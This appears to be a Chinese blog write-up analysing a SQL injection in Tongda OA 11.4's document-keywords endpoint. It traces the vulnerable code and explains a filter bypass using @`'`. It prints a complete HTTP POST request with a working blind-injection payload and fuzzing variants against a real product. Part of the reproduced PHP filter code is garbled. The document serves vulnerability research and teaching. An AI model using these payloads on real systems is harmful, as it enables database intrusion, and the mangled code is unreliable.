小结漏洞网络安全分析怎么写/网络漏洞分析与安全防范论文-入门白客自学路线

小结漏洞网络安全分析怎么写/网络漏洞分析与安全防范论文-入门白客自学路线

(一) 前言

这里感谢师傅前面整理的通达OA一些版本的漏洞复现,这里从漏洞点出发,分析漏洞,从中学些一些师傅白盒挖掘漏洞的思路。​

安装包下载地址,可以通过枚举版本号下载对应的安装包:

https://cdndown.tongda2000.com/oa/2019/TDOA11.4.exe
https://www.tongda2000.com/download/down.php?VERSION=2019&code=

安装教程为傻瓜式一键安装,这里不细说。默认账号密码admin/(空)

image.png

【一>所有资源获取->($where);

调用了的方法,传参为拼接的$where在文件最前面可以看到为加载的model

image.png

7、定位到\\\\\.php的方法8、代码如下,直接将传过来的$where拼接到sql语句中进行执行

public function get_keywords_count($where)
    {
        $sql = 'select count(*) as total from doc_keywords where 1=1' . $where;
        $query = $this->db->query($sql, false, true, true);
        return $query->row()->total;
    }

9、然后,这里我就卡住了,因为解密文件的不顺利,我不能直接通过打开跳转找到query方法,于是我冥思苦想,找了好多文件,之后,回到代码中,这里是**$this->db->query**,那么是不是就是db这个class中的query方法呢。我回去看了.php,其中有这样一个配置,db指向了

image.png

10、于是我在框架所在的目录下的目录下,发现了.php,在169行,成功发现了query方法

image.png

11、前面一段检测了,进行了一些赋值

public function query($sql, $binds = false, $return_object = true, $QUERY_MASTER = false)
    {   //截取字符串是不是为select
        if (MYOA_DB_USE_REPLICATION && ($QUERY_MASTER || ((strtolower(substr(ltrim($sql), 0, 6)) != 'select') && (strtolower(substr(ltrim($sql), 0, 3)) != 'set')))) {
            if (!is_resource($this->master_conn_id)) {
                $this->tomasterdb();
            }
            $this->conn_id = $this->master_conn_id;
        }
        else if (is_resource($this->slave_conn_id)) {
            $this->conn_id = $this->slave_conn_id;
        }
        //$binds为false
        if ($binds !== false) {
            $sql = $this->compile_binds($sql, $binds);
        }
        //全局搜索save_queries,为true,将sql赋值到queries数组中
        if ($this->save_queries == true) {
            $this->queries[] = $sql;
        }
        $time_start = list($sm, $ss) = explode(' ', microtime());

12、往下看

//这里先调用方法_execute处理$sql
if (false === $this->result_id = $this->_execute($sql)) {
            if ($this->save_queries == true) {
                $this->query_times[] = 0;
            }
            $this->display_error();
            return false;
        }
        $time_end = list($em, $es) = explode(' ', microtime());
        $this->benchmark += ($em + $es) - ($sm + $ss);
        if ($this->save_queries == true) {
            $this->query_times[] = ($em + $es) - ($sm + $ss);
        }
        ->query_count++;
        if ($return_object !== true) {
            return true;
        }
        //这里是最后的返回值,创建了一个TD_Database_result对象
        $RES = new TD_Database_result();
        $RES->conn_id = $this->conn_id;
        $RES->result_id = $this->result_id;
        return $RES;

13、查看方法,调用了方法处理字符串,然后调用执行

image.png

14、方法进行了一些的过滤15、方法以我多年的经验,很快找到是在/inc/conn.php文件中,这里跟前面2015的一样了,基本过滤了注入需要的函数16、回到前面的.php,因为原复现的时候,是通过传参kname进行注入的,但是实际上我们发现还有一个也好像没有任何过滤进行了执行,尝试之后发现,果然也存在数据包如下:

POST /general/document/index.php/setting/keywords HTTP/1.1
Host: 10.211.55.3
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:94.0) Gecko/20100101 Firefox/94.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: 140
Origin: http://10.211.55.3
Connection: close
Referer: http://10.211.55.3/general/document/index.php/setting/keywords
Cookie: PHPSESSID=gdtugivsnejrt9l9um0v48dou7; USER_NAME_COOKIE=admin; OA_USER_ID=admin; SID_1=429762af; UI_COOKIE=0; LOGIN_LANG=cn
Upgrade-Insecure-Requests: 1
_SERVER%5BQUERY_STRING%5D=category%3D1%27%2Band%40%60%27%60%2Bor%2Bif%28substr%28user%28%29%2C1%2C4%29%3D%27root%27%2C1%2Cexp%28710%29%29%23

17、可能这就是分析漏洞的快乐吧,突然就发现了其他类似的接口同样存在漏洞。当然因为是sql注入,也想看看具体执行了什么语句

数据库连接信息可以在这里看到监控后执行,可以看到完整的sql语句

select count(*) as total from doc_keywords where 1=1 and category='1' and@`'` or if(substr(user(),1,4)='root',1,exp(710))#'

image.png

18、然后,我就好奇了为什么需要在里面加上

@`'`

19、尝试fuzz一下,发现,如果没有多一个单引号,关键字会被检测出来

_SERVER[QUERY_STRING]=category=1'+and@``+or+if(substr(user(),1,4)='root',1,exp(710))#

如果没有@,那么语句就会报错

_SERVER[QUERY_STRING]=category=1'+and`'`+or+if(substr(user(),1,4)='root',1,exp(710))#

image.png

20、这里就很明显发现了大佬们的一个思路,首先通过单引号跳过了检测的代码,然后又通过@和反引号,使后面的语句成功执行。我将sql语句放到数据库中执行,发现不会报错

image.png

但是如果删掉@,就报错了,因为多了个单引号

image.png

21、通过查阅资料我了解到了,mysql中的@表示设置一个变量,而``反引号则是转义符,这里是通过设置一个反引号的变量来绕过过滤。真的觉得太强了。回到过滤的方法,可以看到就是这里导致了存在绕过22、因为直接看有点搞不清楚具体逻辑,于是我将其单独拎出来,编写成一个php文件运行调试

<?php
function sql_injection($db_string)
{
    $clean = '';
    $error = '';
    $old_pos = 0;
    $pos = -1;
    while (true) {
        $pos = strpos($db_string, '\'', $pos + 1);
        if ($pos === false) {
            break;
        }
        $clean .= substr($db_string, $old_pos, $pos - $old_pos);
        //echo $clean;
        while (true) {
            $pos1 = strpos($db_string, '\'', $pos + 1);
            $pos2 = strpos($db_string, '\\', $pos + 1);
            if ($pos1 === false) {
                break;
            } else {
                if ($pos2 == false || $pos1 < $pos2) {
                    $pos = $pos1;
                    break;
                }
            }
            $pos = $pos2 + 1;
        }
        $clean .= '$s/pre>

;$ = $pos + 1;}$clean .= ($, $);$clean = trim(((array('~\\s+~s'), array(' '), $clean)));echo $clean;}$a = " count(*) as total from where 1=1 and ='1' and@`'` or if((user(),1,4)='root',1,exp(710))#'";($a);?>

可以看到输出结果已经去掉了后面的语句

image.png

23、因为后面的过滤都是过滤clean,而这里很明显看到,clean,而这里很明显看到,clean,而这里很明显看到,clean已经被**@'**截断了,所以绕过了经过调试分析代码,我理解了,在原来的获取注入点检测的逻辑,是将单引号里面的值替换为sss,所以正常的SQL语句提取结果应该是:

select count(*) as total from doc_keywords where 1=1 and category='1' and or if(substr(user(),1,4)='root',1,exp(710))#'

#1、找第1、2个单引号 count(*) as total from where 1=1 and ='1'

#2、找第3、4个单引号and or if((user(),1,4)='root'

image.png

24、再看看加了单引号之后的效果

select count(*) as total from doc_keywords where 1=1 and category='1' and@`'` or if(substr(user(),1,4)='root',1,exp(710))#'
```
#1、找第1、2个单引号
`select count(*) as total from doc_keywords where 1=1 and category='1'`
#2、找第3、4个单引号
` '` or if(substr(user(),1,4)='`
#3、第5个单引号后面到注释符前都没有单引号,所以不构成一对,不进行拼接
![image.png](https://img-blog.csdnimg.cn/img_convert/ff0cb067957a1c9b9c0481fd09492d97.png)
搞懂了,瞬间觉得师傅们的思路太强了。

网络安全学习路线图(思维导图)

网络安全学习路线图可以是一个有助于你规划学习进程的工具。你可以在思维导图上列出不同的主题和技能,然后按照逻辑顺序逐步学习和掌握它们。这可以帮助你更清晰地了解自己的学习进展和下一步计划。

1. 网络安全视频资料

2. 网络安全笔记/面试题

3. 网安电子书PDF资料

如果你向网安入门到进阶的全套资料,我都打包整理好了,需要学习的小伙伴可以V我找我拿~

学网络安全/学黑客,零基础资料整理来啦~~~

~

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值